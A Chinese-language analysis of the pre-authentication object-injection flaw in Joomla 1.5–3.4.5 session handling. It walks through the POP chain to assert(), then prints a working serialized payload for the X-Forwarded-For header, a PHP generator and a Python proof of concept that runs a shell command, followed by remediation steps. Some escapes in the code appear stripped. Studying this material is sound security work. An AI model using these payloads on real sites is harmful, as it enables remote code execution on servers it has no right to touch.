漏洞简介
jooomla 1.5 到 3.4.5 的所有版本中存在反序列化对象造成对象注入的漏洞,漏洞利用无须登录,直接在前台即可执行任意PHP代码。Joomla 安全团队紧急发布了 Joomla 3.4.6 版本,修复了这个高危 0day 漏洞。
漏洞原理
漏洞存在于反序列化session的过程中,我们可以控制session的值,而且没有过滤我们构造的语句,通过mysql截断原理,在把session序列化值存入到数据中的时候截断了数据,造成原来的session无法正常解析,而通过注入|符号,利用sesseion处理漏洞机制的缺陷,导致我们构造的session序列化值能正常反序列化执行。
漏洞详解
在libraries/joomla/session/session.php文件中,joomla将HTTP_USER_AGENT和HTTP_X_FORWARDED_FOR直接存入到了session中
protected function _validate($restart = false) { // Allow to restart a session if ($restart) { $this->_state = 'active'; $this->set('session.client.address', null); $this->set('session.client.forwarded', null); $this->set('session.client.browser', null); $this->set('session.token', null); } // Check if session has expired if ($this->_expire) { $curTime = $this->get('session.timer.now', 0); $maxTime = $this->get('session.timer.last', 0) + $this->_expire; // Empty session variables if ($maxTime < $curTime) { $this->_state = 'expired'; return false; } } // Record proxy forwarded for in the session in case we need it later if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']); } // Check for client address if (in_array('fix_adress', $this->_security) && isset($_SERVER['REMOTE_ADDR'])) { $ip = $this->get('session.client.address'); if ($ip === null) { $this->set('session.client.address', $_SERVER['REMOTE_ADDR']); } elseif ($_SERVER['REMOTE_ADDR'] !== $ip) { $this->_state = 'error'; return false; } } // Check for clients browser if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT'])) { $browser = $this->get('session.client.browser'); if ($browser === null) { $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']); } elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser) { // @todo remove code: $this->_state = 'error'; // @todo remove code: return false; } } return true; }
从php手册定义可以看出read()、write()方法传进和传出的参数会分别自动进行序列化和反序列化,这一部分的序列化操作由PHP内核完成。而且session存储引擎实现的过程中都没有对session的value值进行安全处理,直接就进行操作了。从joomla的配置文件configuration.php的文件中的$session_handler = 'database' 可以知道session默认的存储方式是存储到数据库中。
造成这个漏洞可行性的有两个关键点:
- joomla中session存储的格式是:键名 + 竖线 + 经过 serialize() 函数反序列处理的值 ,当用php(PHP <= 5.6.13)处理器处理session的时候有一个bug,如果有多个key->value的session的时候,第一个解析不正确,会继续往下一个的key->value进行解析。其存储格式是,具体参考 https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
- 另一个关键点是如果数据库编码是utf-8的时候,插入数据库的时候利用"%F0%9D%8C%86"字符可以将mysql中utf-8的字段截断了。这个参考当时爆出来的xss漏洞。所以只要网站的php版本的低于5.6.13就满足条件,造成漏洞。我们能控制的只是session数据中的一个字符串,正常不会造成漏洞,但是我们通过注入一个|,然后配合php的bug就能成功反序列化我们构造的对象。
数据库正常的session
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450278583;s:18:"session.timer.last";i:1450278583;s:17:"session.timer.now";i:1450278583;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0";s:8:"registry";O:24:"JoomlaRegistryRegistry":2:{s:7:" data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:" isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:" _params";O:24:"JoomlaRegistryRegistry":2:{s:7:" data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:" _authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:" _authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:" _authActions";N;s:12:" _errorMsg";N;s:13:" userHelper";O:18:"JUserWrapperHelper":0:{}s:10:" _errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:1:{s:40:"bfd1c1c06565573019854ec4292eb5dc7d87128e";O:8:"stdClass":2:{s:4:"link";s:66:"http://localhost/cms/Joomla_3.4.4/index.php/4-about-your-home-page";s:6:"expiry";i:1450278584;}}}
通过构造的exp
xxx|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:" disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:" connection";b:1;}ð
注入到session数据库中的数据
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450278674;s:18:"session.timer.last";i:1450278674;s:17:"session.timer.now";i:1450278674;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0";s:8:"registry";O:24:"JoomlaRegistryRegistry":2:{s:7:" data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:" isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:" _params";O:24:"JoomlaRegistryRegistry":2:{s:7:" data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:" _authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:" _authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:" _authActions";N;s:12:" _errorMsg";N;s:13:" userHelper";O:18:"JUserWrapperHelper":0:{}s:10:" _errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:1:{s:40:"bfd1c1c06565573019854ec4292eb5dc7d87128e";O:8:"stdClass":2:{s:4:"link";s:66:"http://localhost/cms/Joomla_3.4.4/index.php/4-about-your-home-page";s:6:"expiry";i:1450278674;}}}405:"xxx|O:21:"JDatabaseDriverMysqli":22:{s:4:"name";s:6:"mysqli";s:12:" nameQuote";s:1:"`";s:11:" nullDate";s:19:"0000-00-00 00:00:00";s:26:"
由于我们注入到数据库的数据截断了原本在就在session数据库中的数据(xff或ua注入的seesion值会插入到原本session数据中,从上面给出的session也可以知道4个截断符号和后面的字符都没有了),使得__default这个健在解析所对应的值,无法正确解析,然后php session解析器不会销毁session并退出,而是继续寻找下一个key->value进行解析,所以导致我们构造的session序列化值能正常反序列,造成对象注入。
EXP构造
POP 即面向属性编程,POP 链的构造是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。在joomla中找到了两个类用来构造rop链
JDatabaseDriverMysqli
SimplePie
在librariesjoomladatabasedrivermysqli.php文件中包含JDatabaseDriverMysqli,其中有一个魔术方法
public function __destruct() { $this->disconnect(); }
这个方法在类调用结束后会自动调用,也就是会执行disconnect的函数。跟进disconnect的函数
public function disconnect() { // Close the connection. if ($this->connection) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } mysqli_close($this->connection); } $this->connection = null; }
函数调用了call_user_func_array这个回调函数 ,第一个参数可以构造eval,然而我们无法控制第二个参数,所以无法构造成eval这个的后门。但是我们控制第一个参数,就可以继续调用对象,这里调用SimplePie类对象,和它的init方法组成一个回调函数。跟进SimplePie的init方法
function init() { // Check absolute bare minimum requirements. if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre')) { return false; } // Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader. elseif (!extension_loaded('xmlreader')) { static $xml_is_sane = null; if ($xml_is_sane === null) { $parser_check = xml_parser_create(); xml_parse_into_struct($parser_check, '<foo>&</foo>', $values); xml_parser_free($parser_check); $xml_is_sane = isset($values[0]['value']); } if (!$xml_is_sane) { return false; } } if (isset($_GET[$this->javascript])) { SimplePie_Misc::output_javascript(); exit; } // Pass whatever was set with config options over to the sanitizer. $this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class); $this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen); if ($this->feed_url !== null || $this->raw_data !== null) { $this->data = array(); $this->multifeed_objects = array(); $cache = false; if ($this->feed_url !== null) { $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url); // Decide whether to enable caching if ($this->cache && $parsed_feed_url['scheme'] !== '') { $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc'); } // If it's enabled and we don't want an XML dump, use the cache
这边调用了两个call_user_func,那可以把第二个call_user_func的第一个参数$this->cache_name_function赋值为assert, 第二个参数可以赋值为我们想到的代码,就可以造成任意代码执行的漏洞。
<?php class JSimplepieFactory { } class JDatabaseDriverMysql { } class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url; function __construct() { $this->feed_url = "phpinfo();JFactory::getConfig();exit;"; $this->javascript = 9999; $this->cache_name_function = "assert"; $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; } } class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection; function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = 1; $this->disconnectHandlers = [ [$x, "init"], ]; } } $a = new JDatabaseDriverMysqli(); echo serialize($a);
构造的时候有个问题,默认情况下SimplePie是没有定义的,所以在调用SimplePie之前先new了一个JSimplepieFactory对象,因为JSimplepieFactory对象在加载时会调用import函数将SimplePie导入到当前工作环境:
在library/joomla/session/storage/database.php,read()方法中
public function read($id) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); try { // Get the session data from the database table. $query = $db->getQuery(true) ->select($db->quoteName('data')) ->from($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace(' ', chr(0) . '*' . chr(0), $result); return $result; } catch (Exception $e) { return false; } } $result = str_replace(' ', chr(0) . '*' . chr(0), $result);
所以我们的将我们构造好生成的exp中的chr(0)*chr(0)替换成 ,最后加上截断字符,加上键值和|符号,然后利用User-Agent或者X-Forwarded-For头发送http包写入到数据库中,再一次用相同cookie访问网站就成功执行了exp。执行phpinfo()的exp如下:
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:" disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:" connection";b:1;}ð
exploit-db上生成任意命令代码的python脚本
''' Simple PoC for Joomla Object Injection. Gary @ Sec-1 ltd http://www.sec-1.com/ ''' import requests # easy_install requests def get_url(url, user_agent): headers = { 'User-Agent': user_agent } cookies = requests.get(url,headers=headers).cookies for _ in range(3): response = requests.get(url, headers=headers,cookies=cookies) return response def php_str_noquotes(data): "Convert string to chr(xx).chr(xx) for use in php" encoded = "" for char in data: encoded += "chr({0}).".format(ord(char)) return encoded[:-1] def generate_payload(php_payload): php_payload = "eval({0})".format(php_str_noquotes(php_payload)) terminate = 'xf0xfdxfdxfd'; exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:" disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";''' injected_payload = "{};JFactory::getConfig();exit".format(php_payload) exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload) exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:" connection";b:1;}''' + terminate return exploit_template pl = generate_payload("system('touch /tmp/fx');") print get_url("http://172.31.6.242/", pl)
漏洞修复
修改 joomla 根目录 configuration.php ,把 $session_handler 的值改为none,会将session存储引擎设为文件系统。
把 PHP 版本升到到 5.6.13 或更高的版本。
更新joomla到3.4.6版本
参考链接:
http://drops.wooyun.org/papers/11371
http://drops.wooyun.org/papers/11330
http://bobao.360.cn/learning/detail/2501.html
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md